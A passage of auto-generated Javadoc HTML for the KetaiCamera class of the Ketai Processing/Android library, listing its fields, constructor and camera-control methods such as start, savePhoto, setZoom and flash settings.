<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#isStarted">isStarted</a></span></code>
<div class="block">The is rgb preview supported.</div>
</td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>protected java.lang.reflect.Method</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#onFaceDetectionEventMethod">onFaceDetectionEventMethod</a></span></code>
<div class="block">The on face detection event method.</div>
</td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>protected java.lang.reflect.Method</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#onPreviewEventMethod">onPreviewEventMethod</a></span></code>
<div class="block">The on face detection event method.</div>
</td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>protected java.lang.reflect.Method</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#onPreviewEventMethodPImage">onPreviewEventMethodPImage</a></span></code>
<div class="block">The on face detection event method.</div>
</td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>protected java.lang.reflect.Method</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#onSavePhotoEventMethod">onSavePhotoEventMethod</a></span></code>
<div class="block">The on face detection event method.</div>
</td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>boolean</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#requestedPortraitImage">requestedPortraitImage</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>boolean</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#requestedStart">requestedStart</a></span></code>
<div class="block">The is rgb preview supported.</div>
</td>
</tr>
</table>
<ul class="blockList">
<li class="blockList"><a name="fields.inherited.from.class.processing.core.PImage">
<!-- -->
</a>
<h3>Fields inherited from class processing.core.PImage</h3>
<code>ALPHA_MASK, bitmap, BLUE_MASK, cacheMap, format, GREEN_MASK, height, loaded, modified, mx1, mx2, my1, my2, paramMap, parent, pixelDensity, pixelHeight, pixels, pixelWidth, RED_MASK, saveImageFormats, width</code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="fields.inherited.from.class.processing.core.PConstants">
<!-- -->
</a>
<h3>Fields inherited from interface processing.core.PConstants</h3>
<code>ADD, ALPHA, AMBIENT, ARC, ARGB, BACK, BACKSPACE, BASELINE, BEVEL, BEZIER_VERTEX, BLEND, BLUR, BOTTOM, BOX, BREAK, BURN, CENTER, CENTER_DIAMETER, CENTER_RADIUS, CHATTER, CHORD, CLAMP, CLOSE, CMYK, CODED, COMPLAINT, CORNER, CORNERS, CURVE_VERTEX, CUSTOM, DARKEST, DEG_TO_RAD, DELETE, DIAMETER, DIFFERENCE, DILATE, DIRECTIONAL, DISABLE_ASYNC_SAVEFRAME, DISABLE_BUFFER_READING, DISABLE_DEPTH_MASK, DISABLE_DEPTH_SORT, DISABLE_DEPTH_TEST, DISABLE_KEY_REPEAT, DISABLE_NATIVE_FONTS, DISABLE_OPENGL_COORDINATES, DISABLE_OPENGL_ERRORS, DISABLE_OPTIMIZED_STROKE, DISABLE_STROKE_PERSPECTIVE, DISABLE_STROKE_PURE, DISABLE_TEXTURE_MIPMAPS, DODGE, DOWN, DPAD, ELLIPSE, ENABLE_ASYNC_SAVEFRAME, ENABLE_BUFFER_READING, ENABLE_DEPTH_MASK, ENABLE_DEPTH_SORT, ENABLE_DEPTH_TEST, ENABLE_KEY_REPEAT, ENABLE_NATIVE_FONTS, ENABLE_OPENGL_COORDINATES, ENABLE_OPENGL_ERRORS, ENABLE_OPTIMIZED_STROKE, ENABLE_STROKE_PERSPECTIVE, ENABLE_STROKE_PURE, ENABLE_TEXTURE_MIPMAPS, ENTER, EPSILON, ERODE, ERROR_BACKGROUND_IMAGE_FORMAT, ERROR_BACKGROUND_IMAGE_SIZE, ERROR_PUSHMATRIX_OVERFLOW, ERROR_PUSHMATRIX_UNDERFLOW, ERROR_TEXTFONT_NULL_PFONT, ESC, EXCLUSION, GIF, GRAY, GROUP, HALF_PI, HARD_LIGHT, HINT_COUNT, HSB, IMAGE, INVERT, JAVA2D, JPEG, LANDSCAPE, LEFT, LIGHTEST, LINE, LINE_LOOP, LINE_STRIP, LINES, LINUX, MACOSX, MAX_FLOAT, MAX_INT, MENU, MIN_FLOAT, MIN_INT, MITER, MODEL, MODELVIEW, MULTIPLY, NORMAL, OPAQUE, OPEN, OPENGL, ORTHOGRAPHIC, OTHER, OVERLAY, P2D, P3D, PATH, PERSPECTIVE, PI, PIE, platformNames, POINT, POINTS, POLYGON, PORTRAIT, POSTERIZE, PROBLEM, PROJECT, PROJECTION, QUAD, QUAD_BEZIER_VERTEX, QUAD_STRIP, QUADRATIC_VERTEX, QUADS, QUARTER_PI, RAD_TO_DEG, RADIUS, RECT, REPEAT, REPLACE, RETURN, RGB, RIGHT, ROUND, SCREEN, SHAPE, SOFT_LIGHT, SPHERE, SPOT, SQUARE, SUBTRACT, TAB, TARGA, TAU, THIRD_PI, THRESHOLD, TIFF, TOP, TRIANGLE, TRIANGLE_FAN, TRIANGLE_STRIP, TRIANGLES, TWO_PI, UP, VERTEX, WHITESPACE, WINDOWS, X, Y, YUV420, Z</code></li>
</ul>
</li>
</ul>
<!-- ======== CONSTRUCTOR SUMMARY ======== -->
<ul class="blockList">
<li class="blockList"><a name="constructor.summary">
<!-- -->
</a>
<h3>Constructor Summary</h3>
<table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Constructor Summary table, listing constructors, and an explanation">
<caption><span>Constructors</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colOne" scope="col">Constructor and Description</th>
</tr>
<tr class="altColor">
<td class="colOne"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#KetaiCamera-processing.core.PApplet-int-int-int-">KetaiCamera</a></span>(processing.core.PApplet pParent,
int _width,
int _height,
int _framesPerSecond)</code>
<div class="block">Instantiates a new ketai camera.</div>
</td>
</tr>
</table>
</li>
</ul>
<!-- ========== METHOD SUMMARY =========== -->
<ul class="blockList">
<li class="blockList"><a name="method.summary">
<!-- -->
</a>
<h3>Method Summary</h3>
<table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Method Summary table, listing methods, and an explanation">
<caption><span id="t0" class="activeTableTab"><span>All Methods</span><span class="tabEnd"> </span></span><span id="t2" class="tableTab"><span><a href="javascript:show(2);">Instance Methods</a></span><span class="tabEnd"> </span></span><span id="t4" class="tableTab"><span><a href="javascript:show(8);">Concrete Methods</a></span><span class="tabEnd"> </span></span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Method and Description</th>
</tr>
<tr id="i0" class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#addToMediaLibrary-java.lang.String-">addToMediaLibrary</a></span>(java.lang.String _file)</code>
<div class="block">Adds the file to media library so that other applications can access it.</div>
</td>
</tr>
<tr id="i1" class="rowColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#autoSettings--">autoSettings</a></span>()</code>
<div class="block">Auto settings - set camera to use auto adjusting settings</div>
</td>
</tr>
<tr id="i2" class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#decodeYUV420SP-byte:A-">decodeYUV420SP</a></span>(byte[] yuv420sp)</code>
<div class="block">Decode yuv420 sp.</div>
</td>
</tr>
<tr id="i3" class="rowColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#disableFlash--">disableFlash</a></span>()</code>
<div class="block">Disable flash.</div>
</td>
</tr>
<tr id="i4" class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#dispose--">dispose</a></span>()</code>
<div class="block">Dispose.</div>
</td>
</tr>
<tr id="i5" class="rowColor">
<td class="colFirst"><code>java.lang.String</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#dump--">dump</a></span>()</code>
<div class="block">Dump out camera settings into a single string.</div>
</td>
</tr>
<tr id="i6" class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#enableFlash--">enableFlash</a></span>()</code>
<div class="block">Enable flash.</div>
</td>
</tr>
<tr id="i7" class="rowColor">
<td class="colFirst"><code>int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#getCameraID--">getCameraID</a></span>()</code>
<div class="block">Gets the camera id.</div>
</td>
</tr>
<tr id="i8" class="altColor">
<td class="colFirst"><code>int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#getNumberOfCameras--">getNumberOfCameras</a></span>()</code>
<div class="block">Gets the number of cameras.</div>
</td>
</tr>
<tr id="i9" class="rowColor">
<td class="colFirst"><code>int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#getPhotoHeight--">getPhotoHeight</a></span>()</code>
<div class="block">Gets the photo height which may be different from the camera preview
width since photo quality can be better than preview/camera image.</div>
</td>
</tr>
<tr id="i10" class="altColor">
<td class="colFirst"><code>int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#getPhotoWidth--">getPhotoWidth</a></span>()</code>
<div class="block">Gets the photo width which may be different from the camera preview width
since photo quality can be better than preview/camera image.</div>
</td>
</tr>
<tr id="i11" class="rowColor">
<td class="colFirst"><code>int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#getZoom--">getZoom</a></span>()</code>
<div class="block">Gets the zoom.</div>
</td>
</tr>
<tr id="i12" class="altColor">
<td class="colFirst"><code>boolean</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#isFlashEnabled--">isFlashEnabled</a></span>()</code>
<div class="block">Checks if flash is enabled.</div>
</td>
</tr>
<tr id="i13" class="rowColor">
<td class="colFirst"><code>boolean</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#isStarted--">isStarted</a></span>()</code>
<div class="block">Checks if the camera has been started.</div>
</td>
</tr>
<tr id="i14" class="altColor">
<td class="colFirst"><code>java.util.Collection<? extends java.lang.String></code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#list--">list</a></span>()</code>
<div class="block">List available cameras.</div>
</td>
</tr>
<tr id="i15" class="rowColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#manualSettings--">manualSettings</a></span>()</code>
<div class="block">Manual settings - attempt to disable "auto" adjustments (like focus,
white balance, etc).</div>
</td>
</tr>
<tr id="i16" class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#onFrameAvailable-android.graphics.SurfaceTexture-">onFrameAvailable</a></span>(android.graphics.SurfaceTexture arg0)</code>
<div class="block">On frame available callback, used by the camera service.</div>
</td>
</tr>
<tr id="i17" class="rowColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#onPermissionResult-boolean-">onPermissionResult</a></span>(boolean granted)</code> </td>
</tr>
<tr id="i18" class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#pause--">pause</a></span>()</code>
<div class="block">Pause the class as since the activity is being paused.</div>
</td>
</tr>
<tr id="i19" class="rowColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#read--">read</a></span>()</code>
<div class="block">Read the pixels from the camera.</div>
</td>
</tr>
<tr id="i20" class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#register-java.lang.Object-">register</a></span>(java.lang.Object o)</code> </td>
</tr>
<tr id="i21" class="rowColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#resume--">resume</a></span>()</code>
<div class="block">Resume.</div>
</td>
</tr>
<tr id="i22" class="altColor">
<td class="colFirst"><code>boolean</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#savePhoto--">savePhoto</a></span>()</code>
<div class="block">Saves photo to the file system using default settings (</div>
</td>
</tr>
<tr id="i23" class="rowColor">
<td class="colFirst"><code>boolean</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#savePhoto-java.lang.String-">savePhoto</a></span>(java.lang.String _filename)</code>
<div class="block">Save photo to the file system using the name provided.</div>
</td>
</tr>
<tr id="i24" class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#setCameraID-int-">setCameraID</a></span>(int _id)</code>
<div class="block">Sets the camera id for devices that support multiple cameras.</div>
</td>
</tr>
<tr id="i25" class="rowColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#setPhotoSize-int-int-">setPhotoSize</a></span>(int width,
int height)</code>
<div class="block">Sets the photo dimensions.</div>
</td>
</tr>
<tr id="i26" class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#setSaveDirectory-java.lang.String-">setSaveDirectory</a></span>(java.lang.String _dirname)</code>
<div class="block">Sets the save directory for image/photo settings</div>
</td>
</tr>
<tr id="i27" class="rowColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#setZoom-int-">setZoom</a></span>(int _zoom)</code>
<div class="block">Sets the zoom.</div>
</td>
</tr>
<tr id="i28" class="altColor">
<td class="colFirst"><code>boolean</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#start--">start</a></span>()</code>
<div class="block">Start the camera preview.</div>
</td>
</tr>
<tr id="i29" class="rowColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#stop--">stop</a></span>()</code>
<div class="block">Stop the camera from receiving updates.</div>
</td>
</tr>
</table>
<ul class="blockList">
<li class="blockList"><a name="methods.inherited.from.class.processing.core.PImage">
<!-- -->
</a>
<h3>Methods inherited from class processing.core.PImage</h3>
<code>blend, blend, blendColor, blurAlpha, blurARGB, blurRGB, buildBlurKernel, checkAlpha, clone, copy, copy, dilate, filter, filter, get, get, get, getImpl, getModifiedX1, getModifiedX2, getModifiedY1, getModifiedY2, getNative, init, isLoaded, isModified, loadPixels, loadTIFF, mask, mask, resize, save, saveTGA, saveTIFF, set, set, setImpl, setLoaded, setLoaded, setModified, setModified, setNative, updatePixels, updatePixels, updatePixelsImpl</code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="methods.inherited.from.class.java.lang.Object">
<!-- -->
</a>
<h3>Methods inherited from class java.lang.Object</h3>
<code>equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait</code></li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
<div class="details">
<ul class="blockList">
<li class="blockList">
<!-- ============ FIELD DETAIL =========== -->
<ul class="blockList">
<li class="blockList"><a name="field.detail">
<!-- -->
</a>
<h3>Field Detail</h3>
<a name="onPreviewEventMethod">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>onPreviewEventMethod</h4>
<pre>protected java.lang.reflect.Method onPreviewEventMethod</pre>
<div class="block">The on face detection event method.</div>
</li>
</ul>
<a name="onPreviewEventMethodPImage">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>onPreviewEventMethodPImage</h4>
<pre>protected java.lang.reflect.Method onPreviewEventMethodPImage</pre>
<div class="block">The on face detection event method.</div>
</li>
</ul>
<a name="onSavePhotoEventMethod">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>onSavePhotoEventMethod</h4>
<pre>protected java.lang.reflect.Method onSavePhotoEventMethod</pre>
<div class="block">The on face detection event method.</div>
</li>
</ul>
<a name="onFaceDetectionEventMethod">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>onFaceDetectionEventMethod</h4>
<pre>protected java.lang.reflect.Method onFaceDetectionEventMethod</pre>
<div class="block">The on face detection event method.</div>
</li>
</ul>
<a name="isStarted">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>isStarted</h4>
<pre>public boolean isStarted</pre>
<div class="block">The is rgb preview supported.</div>
</li>
</ul>
<a name="requestedStart">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>requestedStart</h4>
<pre>public boolean requestedStart</pre>
<div class="block">The is rgb preview supported.</div>
</li>
</ul>
<a name="enableFlash">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>enableFlash</h4>
<pre>public boolean enableFlash</pre>
<div class="block">The is rgb preview supported.</div>
</li>
</ul>
<a name="isRGBPreviewSupported">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>isRGBPreviewSupported</h4>
<pre>public boolean isRGBPreviewSupported</pre>
<div class="block">The is rgb preview supported.</div>
</li>
</ul>
<a name="callbackdelegate">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>callbackdelegate</h4>
<pre>public java.lang.Object callbackdelegate</pre>
</li>
</ul>
<a name="requestedPortraitImage">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>requestedPortraitImage</h4>
<pre>public boolean requestedPortraitImage</pre>
</li>
</ul>
</li>
</ul>
<!-- ========= CONSTRUCTOR DETAIL ======== -->
<ul class="blockList">
<li class="blockList"><a name="constructor.detail">
<!-- -->
</a>
<h3>Constructor Detail</h3>
<a name="KetaiCamera-processing.core.PApplet-int-int-int-">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>KetaiCamera</h4>
<pre>public KetaiCamera(processing.core.PApplet pParent,
int _width,
int _height,
int _framesPerSecond)</pre>
<div class="block">Instantiates a new ketai camera.</div>
<dl>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>pParent</code> - reference to the main sketch(Activity)</dd>
<dd><code>_width</code> - width of the camera image</dd>
<dd><code>_height</code> - height of the camera image</dd>
<dd><code>_framesPerSecond</code> - the frames per second</dd>
</dl>
</li>
</ul>
</li>
</ul>
<!-- ============ METHOD DETAIL ========== -->
<ul class="blockList">
<li class="blockList"><a name="method.detail">
<!-- -->
</a>
<h3>Method Detail</h3>
<a name="onPermissionResult-boolean-">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>onPermissionResult</h4>
<pre>public void onPermissionResult(boolean granted)</pre>
</li>
</ul>
<a name="manualSettings--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>manualSettings</h4>
<pre>public void manualSettings()</pre>
<div class="block">Manual settings - attempt to disable "auto" adjustments (like focus,
white balance, etc).</div>
</li>
</ul>
<a name="setZoom-int-">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>setZoom</h4>
<pre>public void setZoom(int _zoom)</pre>
<div class="block">Sets the zoom.</div>
<dl>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>_zoom</code> - the new zoom</dd>
</dl>
</li>
</ul>
<a name="getZoom--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getZoom</h4>
<pre>public int getZoom()</pre>
<div class="block">Gets the zoom.</div>
<dl>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>the zoom</dd>
</dl>
</li>
</ul>
<a name="autoSettings--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>autoSettings</h4>
<pre>public void autoSettings()</pre>
<div class="block">Auto settings - set camera to use auto adjusting settings</div>
</li>
</ul>
<a name="dump--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>dump</h4>
<pre>public java.lang.String dump()</pre>
<div class="block">Dump out camera settings into a single string.</div>
<dl>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>the string</dd>
</dl>
</li>
</ul>
<a name="setSaveDirectory-java.lang.String-">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>setSaveDirectory</h4>
<pre>public void setSaveDirectory(java.lang.String _dirname)</pre>
<div class="block">Sets the save directory for image/photo settings</div>
<dl>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>_dirname</code> - the new save directory</dd>
</dl>
</li>
</ul>
<a name="getPhotoWidth--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getPhotoWidth</h4>
<pre>public int getPhotoWidth()</pre>
<div class="block">Gets the photo width which may be different from the camera preview width
since photo quality can be better than preview/camera image.</div>
<dl>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>the photo width</dd>
</dl>
</li>
</ul>
<a name="getPhotoHeight--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getPhotoHeight</h4>
<pre>public int getPhotoHeight()</pre>
<div class="block">Gets the photo height which may be different from the camera preview
width since photo quality can be better than preview/camera image.</div>
<dl>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>the photo height</dd>
</dl>
</li>
</ul>
<a name="setPhotoSize-int-int-">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>setPhotoSize</h4>
<pre>public void setPhotoSize(int width,
int height)</pre>
<div class="block">Sets the photo dimensions. Photo dimensions default to camera preview
dimensions but can be set for higher quality. Typically camera preview
dimensions should be smaller than photo dimensions.</div>
<dl>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>width</code> - the width</dd>
<dd><code>height</code> - the height</dd>
</dl>
</li>
</ul>
<a name="enableFlash--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>enableFlash</h4>
<pre>public void enableFlash()</pre>
<div class="block">Enable flash.</div>
</li>
</ul>
<a name="disableFlash--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>disableFlash</h4>
<pre>public void disableFlash()</pre>
<div class="block">Disable flash.</div>
</li>
</ul>
<a name="setCameraID-int-">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>setCameraID</h4>
<pre>public void setCameraID(int _id)</pre>
<div class="block">Sets the camera id for devices that support multiple cameras.</div>
<dl>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>_id</code> - the new camera id</dd>
</dl>
</li>
</ul>
<a name="getCameraID--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getCameraID</h4>
<pre>public int getCameraID()</pre>
<div class="block">Gets the camera id.</div>
<dl>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>the camera id</dd>
</dl>
</li>
</ul>
<a name="start--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>start</h4>
<pre>public boolean start()</pre>
<div class="block">Start the camera preview. Call this in order to start the camera preview
updates. This will deliver pixels from the camera to the parent sketch.</div>
<dl>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>true, if successful</dd>
</dl>
</li>
</ul>
<a name="isFlashEnabled--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>isFlashEnabled</h4>
<pre>public boolean isFlashEnabled()</pre>
<div class="block">Checks if flash is enabled.</div>
<dl>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>true, if flash is enabled</dd>
</dl>
</li>
</ul>
<a name="savePhoto--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>savePhoto</h4>
<pre>public boolean savePhoto()</pre>
<div class="block">Saves photo to the file system using default settings (</div>
<dl>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>true, if successful</dd>
</dl>
</li>
</ul>
<a name="savePhoto-java.lang.String-">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>savePhoto</h4>
<pre>public boolean savePhoto(java.lang.String _filename)</pre>
<div class="block">Save photo to the file system using the name provided.</div>
<dl>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>_filename</code> - the _filename</dd>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>true, if successful</dd>
</dl>
</li>
</ul>
<a name="resume--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>resume</h4>
<pre>public void resume()</pre>
<div class="block">Resume.</div>
</li>
</ul>
<a name="read--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>read</h4>
<pre>public void read()</pre>
<div class="block">Read the pixels from the camera.</div>
</li>
</ul>
<a name="isStarted--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>isStarted</h4>
<pre>public boolean isStarted()</pre>
<div class="block">Checks if the camera has been started.</div>
<dl>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>true, if is started</dd>
</dl>
</li>
</ul>
<a name="addToMediaLibrary-java.lang.String-">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>addToMediaLibrary</h4>
<pre>public void addToMediaLibrary(java.lang.String _file)</pre>
<div class="block">Adds the file to media library so that other applications can access it.</div>
<dl>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>_file</code> - the _file</dd>
</dl>
</li>
</ul>
<a name="pause--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>pause</h4>
<pre>public void pause()</pre>
<div class="block">Pause the class as since the activity is being paused.</div>
</li>
</ul>
<a name="stop--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>stop</h4>
<pre>public void stop()</pre>
<div class="block">Stop the camera from receiving updates.</div>
</li>
</ul>
<a name="dispose--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>dispose</h4>
<pre>public void dispose()</pre>
<div class="block">Dispose.</div>
</li>
</ul>
<a name="decodeYUV420SP-byte:A-">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>decodeYUV420SP</h4>
<pre>public void decodeYUV420SP(byte[] yuv420sp)</pre>
<div class="block">Decode yuv420 sp.</div>
<dl>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>yuv420sp</code> - the yuv420sp</dd>
</dl>
</li>
</ul>
<a name="getNumberOfCameras--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getNumberOfCameras</h4>
<pre>public int getNumberOfCameras()</pre>
<div class="block">Gets the number of cameras.</div>
<dl>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>the number of cameras</dd>
</dl>
</li>
</ul>
<a name="list--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>list</h4>
<pre>public java.util.Collection<? extends java.lang.String> list()</pre>
<div class="block">List available cameras.</div>
<dl>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>the collection<? extends string></dd>
</dl>
</li>
</ul>
<a name="onFrameAvailable-android.graphics.SurfaceTexture-">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>onFrameAvailable</h4>
<pre>public void onFrameAvailable(android.graphics.SurfaceTexture arg0)</pre>
<div class="block">On frame available callback, used by the camera service.</div>
<dl>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>arg0</code> - the arg0</dd>
</dl>
</li>
</ul>
<a name="register-java.lang.Object-">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>register</h4>
<pre>public void register(java.lang.Object o)</pre>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
</div>
<!-- ========= END OF CLASS DATA ========= -->
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar.bottom">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.bottom.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../index-all.html">Index</a></li>
<li><a href="../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li>Prev Class</li>
<li><a href="../../ketai/camera/KetaiFace.html" title="class in ketai.camera"><span class="typeNameLink">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../index.html?ketai/camera/KetaiCamera.html" target="_top">Frames</a></li>
<li><a href="KetaiCamera.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li><a href="#field.summary">Field</a> | </li>
<li><a href="#constructor.summary">Constr</a> | </li>
<li><a href="#method.summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
